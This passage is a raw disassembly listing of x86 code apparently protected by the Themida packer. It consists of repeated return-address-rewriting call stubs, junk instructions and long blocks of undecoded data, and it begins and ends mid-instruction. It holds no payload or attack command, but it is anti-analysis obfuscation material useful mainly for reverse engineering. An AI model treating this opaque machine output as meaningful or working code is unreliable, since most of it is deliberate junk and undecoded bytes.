esi, [ebp+6121765h] mov dword ptr [ebp+6122ED9h], 15E2991Fh mov eax, eax push 0 push ebx call sub_5BC309 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC309 proc near ; CODE XREF: Themida_:005BC301p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5BC309 endp ; --------------------------------------------------------------------------- db 6Fh, 31h, 3Ah ; --------------------------------------------------------------------------- sal dword ptr [ebp-20h], cl push edi sub [ebp+61208A1h], eax cmp dword ptr [ebp+61207E5h], 7D0h jnz loc_5BC364 push 0 push ebp call sub_5BC341 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC341 proc near ; CODE XREF: Themida_:005BC339p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5BC341 endp ; --------------------------------------------------------------------------- sbb dword ptr [esi-13h], 0FF261D9Bh inc dword ptr [ebp+61207E5h] xor [ebp+612264Dh], ebx loc_5BC364: ; CODE XREF: Themida_:005BC330j push dword ptr [ebp+61207E5h] push 0 push ebp call sub_5BC375 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC375 proc near ; CODE XREF: Themida_:005BC36Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5BC375 endp ; --------------------------------------------------------------------------- enter 0FFFFCD27h, 0BEh jnp short loc_5BC39D xor dword ptr [edi-1], 1229D195h push es add edi, [ebp+6122A21h] nop push 0 push edx loc_5BC39D: ; CODE XREF: Themida_:005BC389j call sub_5BC3A5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC3A5 proc near ; CODE XREF: Themida_:loc_5BC39Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5BC3A5 endp ; --------------------------------------------------------------------------- db 0F3h, 44h, 21h dd 0F9CFED4Ah, 6AD5CFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0C8ECCBC3h, 0BD8B7CFDh, 6120019h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7CC35646h dd 98509FBh, 6606122Eh, 860FFE8Bh, 5, 42F78166h, 53006A6Fh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0EE8F54Ah, 5E000000h, 1555FA45h, 93B167FDh, 0B675D182h dd 0B585890Fh, 0E906121Ch, 11h, 0C5D26CFFh, 0DBED9E28h dd 7EED3E5h, 0C060914Eh, 6A5F5Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 45236EC3h, 0E9CA9F6Dh dd 5, 20DFB426h, 56006AA7h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0B92FFFF5h, 8B5757D6h dd 1227D5B5h, 850F5F06h, 16h, 11E9h, 0D2571900h, 0D7D2B64Eh dd 770C7F73h, 51CCB660h, 54E9A4EDh, 6AFFFFF8h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 23E1C353h, 122D7DB5h, 66C18B06h, 0A750F681h, 4EBh, 0BF0F0000h dd 52006AF2h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0AA398A34h, 908CC0B0h, 5810F67h, 66000000h dd 0E8E7DF81h, 12ED8589h, 858D0612h, 6120065h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 91C35343h, 423CC1B0h dd 459CCD2Dh, 32323EBFh, 0E9509027h, 12h, 0FC05A880h, 3AD4DEF8h dd 10D3E718h, 870CAF75h, 0F90C93Ah, 6AF6BFh, 17FDB589h dd 6A0612h, 17798D31h, 8B660612h, 0A9858DFEh, 6A06160Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 83B2C357h, 8B5105C0h, 50505EFAh, 60310F52h dd 5A616160h, 24048958h, 0CE9h, 0C2C2AD00h, 0FAB90B51h dd 505AD351h, 0F8006A7Dh, 6A006AF5h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 62B3C355h dd 8160CC7Dh, 33599FE2h, 95FF617Ah, 6120B55h, 9BCA9D8Dh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 43F9DBC3h, 670DE08Bh, 603689C1h, 4FB7E38Ah dd 0CDB58B61h, 0FF061200h, 0DF8166D3h, 85FF5CDEh, 6121235h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5AC35242h dd 8EC80718h, 0BF66578Bh, 0E95EC01Eh, 881h, 0E8h, 0ED815D00h dd 6160BB3h, 0AE8h, 60FAAE00h, 0B1254393h, 0BF9EB3C1h dd 4407E870h, 6040BF5Eh, 0BD81360Bh, 61207E5h, 7D0h, 141860Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0E1FB36C3h, 18E0Fh, 8BF50000h, 121E199Dh dd 6860F06h, 8B000000h, 1207FDB5h, 0E38106h, 81000001h dd 0DA7907EEh, 98D8921h, 0B06122Bh, 80850FDBh, 51000000h dd 1F559D31h, 835E0612h, 160A28BDh, 840F0006h, 50h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F5C35242h, 0DCD85F3Ah dd 8B665F56h, 7CE9F3h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 1E11E6C3h, 0B4607546h dd 615CB7FAh, 0A2885C7h, 10616h, 85890000h, 6122685h, 41E9h dd 358D8900h, 0C7061224h, 160A2885h, 6, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 556FBC5Bh, 0EC6D80A8h, 7E98CEAh, 80000000h, 17CC5CB7h dd 9D8D1107h, 6121E19h, 14E8h, 15E72A00h, 104F0CD7h, 0C75646B1h dd 87AC51FDh, 5FFB749Ah, 0E5806093h, 0A1958B96h, 61061234h dd 90BF665Eh, 0FF238124h, 66FFFFFEh, 6ADB8Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 8CA7CC3h dd 8F597D31h, 0F04C3F6h, 4684h, 0FFF88B00h, 120CA995h dd 0D7816606h, 0E9509F0Fh, 0Ch, 0D89853EEh, 6FC2E8FFh dd 54CF723Bh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 21ECC352h, 0E21F2C22h dd 0E9EBCEC0h, 416h, 198589h, 0B00612h, 28B0F60h, 60000000h dd 0F2BF0F61h, 0F70E661h, 71E4FAB7h, 6AD8B60Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0BA83C357h, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 76C35747h, 0F92AA598h, 0E8C1C38Bh, 52006A04h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0E063341Bh, 8E975h, 69DF0000h, 4214F187h, 0F766D595h dd 51006AE2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 1DBD8B5Ah, 6606120Bh, 0D82BF18Bh, 0A42FBE66h dd 7E893h, 5C3E0000h, 0E22D6985h, 0F525076h, 0C3BE6631h dd 5E585A10h, 800F50h, 93000000h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 9FC35646h, 0AED16D4Fh, 0BF669B9Eh dd 0B5FF832Fh, 61207E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0EBC35646h, 90852DCAh, 8BB8F806h, 121471B5h dd 0D195FF06h, 0F9061229h, 6A00B0h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BF6676C3h dd 70E61AE4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0B6C35545h, 8CA6BA44h, 71E4463Eh, 830F613Ch, 28Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 4BC35141h dd 0A8904721h, 4201F8F5h, 6AD8B60Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C1C6C356h dd 0EE989FAh, 3D000000h, 0CCC16018h, 0B2BA78CAh, 0C2A5C05Fh dd 6BA8Ah, 8BF80000h, 0CE9C3h, 75D60000h, 0C59AAE95h, 43C04D20h dd 0E8C16F00h, 8DB58B04h, 66061226h, 9529E2F7h, 6121281h dd 7E9D82Bh, 9C000000h, 28F70DF0h, 0BF58D4C0h, 59732EACh dd 880FD82Bh, 1EAh, 6E9h, 95E40900h, 8937C447h, 1215999Dh dd 7B906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 691097C3h, 6A00C183h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 31E0C356h, 0BD8BF5C5h, 61213C9h, 3BFA8B66h, 83860FD9h dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0B653C355h, 66EA1E8Dh, 6AD98Ch dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0A0B295C3h, 4C4677C2h, 0E9A788B7h, 0Ch, 0C18A4C4Bh dd 5D859856h, 0C1E0AF59h, 0F04C1F6h, 0FC84h, 0F19D8900h dd 0FF061208h, 120CA995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 37EF1784h dd 2CFC3964h, 0FDBD8BB1h, 29061207h, 1200498Dh, 6A5B06h dd 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0CE5A09C3h, 8D89601Dh dd 61229B5h, 1E3D8D03h, 0F5610612h, 6AC32Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 810F7FC3h dd 0 ; --------------------------------------------------------------------------- mov esi, [ebp+612043Dh] cmp eax, 834h jbe loc_5BCC69 push 0 push ecx call sub_5BCC18 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCC18 proc near ; CODE XREF: Themida_:005BCC10p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5BCC18 endp ; --------------------------------------------------------------------------- xor [ebx-4Ch], edi rcr byte ptr [ebp+30h], cl sub ebx, [edx] and [ebx], ecx mov ch, 31h adc dl, [edx] push es jmp loc_5BCC50 ; --------------------------------------------------------------------------- retn 0D53Ch ; --------------------------------------------------------------------------- db 8 dd 87F21A02h, 9690F530h, 3C593800h, 38E303Ah ; --------------------------------------------------------------------------- loc_5BCC50: ; CODE XREF: Themida_:005BCC37j jmp loc_5BCC8E ; --------------------------------------------------------------------------- push esi jmp loc_5BCC68 ; --------------------------------------------------------------------------- fisub dword ptr [esi-3Bh] db 64h xchg eax, edi sbb al, 4 and [edx+212B184h], ecx loc_5BCC68: ; CODE XREF: Themida_:005BCC56j pop edi loc_5BCC69: ; CODE XREF: Themida_:005BCC07j mov eax, eax push 0 push eax call sub_5BCC76 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCC76 proc near ; CODE XREF: Themida_:005BCC6Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5BCC76 endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 75h dd 0BE464968h db 0AFh, 7Fh ; --------------------------------------------------------------------------- loc_5BCC8E: ; CODE XREF: Themida_:loc_5BCC50j mov eax, ebx mov ebx, eax push 0 push ecx call sub_5BCC9D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCC9D proc near ; CODE XREF: Themida_:005BCC95p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5BCC9D endp ; --------------------------------------------------------------------------- dec edi db 36h xchg eax, edx jo short loc_5BCCE3 jnz short loc_5BCCCA mov dword ptr [ebp+6122D69h], 162E27F5h push 0 push eax call sub_5BCCC9 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCCC9 proc near ; CODE XREF: Themida_:005BCCC1p arg_4 = dword ptr 8 pop eax loc_5BCCCA: ; CODE XREF: Themida_:005BCCB2j mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5BCCC9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5Ch, 0Fh, 89h dd 6 db 81h, 0F6h, 27h ; --------------------------------------------------------------------------- loc_5BCCE3: ; CODE XREF: Themida_:005BCCB0j test [edx+4Fh], ch mov esi, [ebp+61234A1h] mov eax, eax cmc cmp dword ptr [ebp+61207E5h], 7D0h jnz loc_5BCD42 mov di, 6EF4h inc dword ptr [ebp+61207E5h] push 0 push eax call sub_5BCD14 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCD14 proc near ; CODE XREF: Themida_:005BCD0Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5BCD14 endp ; --------------------------------------------------------------------------- dd 3E0FA26Dh, 0BE8E7h, 6AA20000h, 26198D93h, 0E1FFA733h dd 0CDBD0966h, 5E061211h ; --------------------------------------------------------------------------- mov edi, esi loc_5BCD42: ; CODE XREF: Themida_:005BCCF9j push dword ptr [ebp+61207E5h] push 0 push ebx call sub_5BCD53 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCD53 proc near ; CODE XREF: Themida_:005BCD4Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5BCD53 endp ; --------------------------------------------------------------------------- das dec ebx mov ah, 0E2h aaa adc dword ptr [ecx+48h], 0FFF80B19h xchg eax, ebp shr dword ptr [ecx], 1 adc al, [esi] push 0 push eax call sub_5BCD7F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCD7F proc near ; CODE XREF: Themida_:005BCD77p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5BCD7F endp ; --------------------------------------------------------------------------- db 78h dd 526206DAh, 0A7BF8EFDh, 9028F779h, 20018D89h, 6A0612h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 369DA8C3h, 0FA8B9950h, 0C643BE66h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0B5C35141h, 0BA4E2E8Eh, 2FBE8D28h dd 100794Eh, 121D6195h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0B58B527Fh, 6122C05h dd 0F065BE66h, 0DE9F18Bh, 87000000h, 0A7FF3D96h, 220DFDCBh dd 78B58020h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 88C35343h, 0D0783BDh, 0E8AE7CB4h, 9, 5E0FC248h dd 0BBFF2193h, 0A8F0F13h, 8B000000h, 122565BDh, 0B9BF6606h dd 7E943h, 0AD60000h, 0FAE0A264h, 0BE575FA2h, 7FCA68D3h dd 815FFA8Bh, 93D1EDEEh, 55006A2Ah, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0A2EB8B9Ch, 79BD2353h dd 5E061203h, 0FE68060h, 68F0Fh, 9D890000h, 61233F1h, 9DB58960h dd 6606121Fh, 5789EB81h, 61615857h, 0FFF7AFE9h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 33E4FF84h, 0BE9FDh, 31BD0000h, 0B7515698h, 662F2F7h dd 6AC18B3Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0EA21C350h, 890FEFh, 0EB000000h dd 4, 840F6000h, 6, 10698D8Bh, 6A610612h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 18A3C350h dd 0BE9h, 61D95500h, 0AA76BF2Eh, 0E2A1CA07h, 65858Dh, 8B600612h dd 122939BDh, 61C18B06h, 3FBE6690h, 9CBE5064h, 9070F513h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h dd 1F534381h, 8B66D143h, 0F5F7BFF3h, 6A280Bh, 68C0Fh, 0B5010000h dd 6121199h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0A4EEDEC3h, 0D18B6660h, 61CB8B66h dd 15E9858Dh, 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0ADC123C3h, 0BD8BC0FCh, 6121225h dd 0BF05C083h, 3BAA1155h, 50F08B90h, 58D0Fh, 35BE0000h dd 9013E438h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 3EC35040h, 28A0F60h, 52000000h, 2585895Bh, 6106120Bh dd 6AF28Bh, 6AFB8Bh, 0B5595FFh, 6A0612h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D8D48C3h dd 6159BCAh, 68C0Fh, 0BD8B0000h, 6122341h, 0AE9D3FFh, 0E7000000h dd 0B6837656h, 3E590AFDh, 3585FF89h, 51061212h, 6800Fh dd 0B58B0000h, 612239Dh, 9D85315Fh, 0E9061232h, 7A1h, 0E8h dd 0ED815D00h, 61615F3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0B6C35242h, 0E05C2BF2h, 0A6DBD8F4h, 7E5BD81h dd 7D00612h, 860F0000h, 0E5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0DC35141h, 0A72F4D29h, 5F500A3Bh dd 2E498D89h, 9D8B0612h, 61214F5h, 3858501h, 0E3810612h dd 100h, 23D1BD8Bh, 0DB0B0612h, 56850Fh, 0BD830000h, 6161457h dd 11840F00h, 89000000h, 1222F18Dh, 4EE906h, 85890000h dd 61220D9h, 145785C7h, 10616h, 0BF0F0000h, 36E9F3h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0CB4BE4C3h, 66D3DE31h, 5FE7D781h, 145785C7h, 616h, 0BD8B0000h dd 6120095h, 14F59D8Dh, 6A0612h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 9CE115C3h, 0C5BD8B59h dd 8106121Fh, 0FFFEFF23h, 2ABF66FFh, 0DB8C66C0h, 1EDDB58Bh dd 0C3F60612h, 5A840F04h, 0FF000000h, 120CA995h, 0C880F06h dd 0F000000h, 683h, 860F00h, 50000000h, 0DE9h, 54CCCB00h dd 0A1049C96h, 0C710D554h, 4892647h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 1BF32575h dd 29BD8BE5h, 81061218h, 0A427C8C6h, 42EE947h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 609708C3h, 0FCDE1096h, 840F1F6Bh, 0Bh, 800F60h, 66000000h dd 0B061F38Bh, 6A70E600h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0D042C355h, 8589F064h dd 61207BDh, 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0D79534C3h, 0EE98Ch, 64360000h dd 0DAB8F90Eh, 9AF38C6h, 0D17887EAh, 0E9D8B60Fh, 0Fh, 0ADD61F80h dd 9146B24Bh, 4B0DFCA8h, 0BA176C52h, 6, 4DBD8B51h, 5E06121Bh dd 0E8C1C38Bh, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0F7664968h, 96C781E2h dd 2B38FDD1h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 69B607E6h, 50B87838h, 12E9h, 73924B00h dd 2E260AC8h, 6ED4B76h, 0EC2EFC73h, 8936129Dh, 0E681241Ch dd 517654A8h, 7E5B5FFh, 860F0612h, 5, 18B3CBBFh, 0D195FF43h dd 6A061229h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0AD6EC356h, 0BB7B7E93h, 0AECAF2AFh dd 0F2B70F50h, 6A00B05Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 46AFC352h, 6AB16C34h dd 4E294C00h, 2BD68166h, 0B58B6042h, 61203C1h, 6E9h, 0E8B7AC00h dd 61A2FE4Ah, 9D8970E6h, 61225E1h, 6A71E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 737084C3h dd 3996ABA6h, 59B5292Eh, 0F06122Dh, 0C87h, 6820F00h, 0F000000h dd 89h, 0F613C00h, 23B83h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0CE99729h dd 0F5000000h, 0EDC9EEBDh, 88A98F8Ch, 0F9C3179h, 6AD8B6h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0A0F0D9C3h, 2348AB90h, 0BD890DFFh, 6121EF5h, 6BAh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 7DF66AD7h, 0D07D9EB8h, 23418D31h, 0C38B0612h, 8904E8C1h dd 121FC595h, 0E2F76606h, 75858957h, 5F06122Dh, 9D29D82Bh dd 61227C5h, 1FA9BD2Bh, 0BE580612h, 1600B6C1h, 880FD82Bh dd 180h, 0D0A5CF81h, 7B93FB5h, 0E8000000h, 7, 7AB77EB7h dd 0FC01BF0h, 0D89h, 8E900h, 54A90000h, 3A114A9Dh, 835FC9B3h dd 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 9464A4C3h, 17830F41h, 0E8000000h, 0Fh, 3EF7736Fh dd 2529D59Fh, 55AC9FFFh, 60E280F7h, 0D93B5F61h, 10E860Fh dd 0BD290000h, 61227E5h, 8BD98C66h, 121DF9BDh, 4C1F606h dd 0D2840Fh, 81660000h, 0FF3071CEh, 120CA995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 3BB9AA08h, 0FB78C1D4h, 9BD2350h, 5E06122Bh, 99B5015Bh dd 8B061212h, 121725B5h, 6AC32B06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0E4B5C353h dd 5F116971h, 8343DE9h, 860F0000h, 60h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0EFC35242h, 781EABEEh dd 9E9C7AEh, 49000000h, 0D5ECA69Ah, 811F61F8h, 4FE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0A839F8BDh, 0BE669CD4h, 0B58B1FA6h, 6122BD9h, 6AC08Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 9D893EC3h, 612146Dh, 0D88BC38Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 97C35545h, 0DBCF5F87h, 8B5E5B1Fh dd 1220D1BDh, 1985C706h, 7F06121Eh, 667EBDFBh, 1E03D681h dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0A03FE6C3h, 994A9509h, 17359D09h, 0BD810612h dd 61207E5h, 7D0h, 43850Fh, 95890000h, 61208BDh, 7E585FFh dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0AB8536C3h, 0B58BFBEFh, 6122319h, 58D0Fh dd 38BF0000h, 29507726h, 1207BDB5h, 0E5B5FF06h, 0F9061207h dd 29D195FFh, 2BBE0612h, 90428A26h, 9E8h, 41841A00h, 0BA479BFFh dd 8B6691C7h, 9E9F7h, 0ABAE0000h, 4159175Eh, 5E4F09FAh dd 38F0F60h, 0B3000000h, 0B58BF824h, 6122D6Dh, 24698D23h dd 66610612h, 9C75D681h, 263D8D89h, 0BD8B0612h, 61202B5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F6C35242h dd 8BFA8B66h, 1224C9B5h, 359D8906h, 89061224h, 12285995h dd 69853106h, 60061213h, 0BBDC8A52h, 39F48BFFh, 0B3D7815Eh dd 0B72E736Bh, 6E9616Fh, 83000000h, 0AE5A08Bh, 55006A51h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 7A594E5Fh, 6AC22402h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0BEDFC350h, 0A7B98E06h dd 14E86055h, 2F000000h, 99B2A489h, 0C9D7486Fh, 37484FD4h dd 231C84C7h, 53446B73h, 0B70F5E5Ah, 0F88B66F7h, 0F866E961h dd 29F9FFFFh, 1229418Dh, 89C18B06h, 12156195h, 4EB06h dd 66000000h, 8B0BEBBFh, 120B79B5h, 65858D06h, 66061200h dd 0BF50F08Bh, 4E3873B1h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 6E7AC355h dd 0A396059Ah, 66535EA3h, 6A5FF38Bh, 99958900h, 6A061221h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 1FB37044h, 6DB58BE3h, 8D06121Bh, 161F1185h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0C08306B3h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0C7C7902Ch dd 8D294814h, 612328Dh, 0F78B6650h, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0F884C351h, 76F38A16h, 0C2231D46h, 197DB58Bh, 81660612h dd 6A65D1F6h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0BF660369h, 6AC13Bh, 735B58Bh, 95FF0612h dd 6120B55h, 0DC5C681h, 9D8D3C12h, 6159BCAh, 8BFABF0Fh dd 122395B5h, 6AD3FF06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 1892C356h, 2297FACFh dd 667D5512h, 0D1A4C781h, 123585FFh, 7BE0612h, 0E97B7A06h dd 7F8h, 0E8h, 0ED815D00h, 6161F1Bh, 0E5BD81F5h, 0D0061207h dd 0F000007h, 12986h, 0DD9D8B00h, 81061213h, 100E3h, 0FDB0B00h dd 0AB85h, 3DB58B00h, 83061217h, 161D99BDh, 840F0006h dd 57h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h dd 5EC35747h, 0A5E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0B917BEFEh, 0E899F6AEh dd 8, 0CC78DC19h, 0AF5FA7D3h, 16DD8589h, 0C75F0612h, 161D9985h dd 106h, 78C78100h, 661747B9h, 57E9FA8Bh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0B4D8C357h, 0C1D73059h, 9589E219h, 6120EF5h, 1D9985C7h dd 616h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0A20487C3h, 9482BC40h, 9D8D3F17h dd 61213DDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0DDC35343h, 0F8E51ECEh, 0F7BF0F91h, 2A3DB589h dd 23810612h, 0FFFFFEFFh, 25A9B58Bh, 8C660612h, 56006ADBh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F6082C05h, 840F04C3h, 5Fh, 2D5CBE53h, 0BE5F78D9h, 5629CF22h dd 0CA995FFh, 0BD2B0612h, 6121531h, 0FE8B5090h, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 3374D2D5h, 4B64B98Dh, 0ECC8BF4Bh, 6E808B2h, 4A000000h dd 688C385Dh, 8E9F6h, 0D8F10000h, 0F504B02Eh, 0E95F363Ch dd 3F2h, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 46E715C3h, 0F1BD29BCh, 0E6061214h dd 25B52370h, 0E406120Bh, 0D8B60F71h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 88C35646h, 3544F7C9h, 600CFAC2h dd 6BAF5h, 8BF90000h, 31B58BC3h, 29061215h, 1216EDBDh dd 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0EEC35242h, 0C0843B09h, 8B07D810h, 0E2F766F1h dd 26B91CBEh, 6AD82B33h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 8F69C350h, 0E6F6A5ACh dd 5306CD9Fh, 692BBF66h, 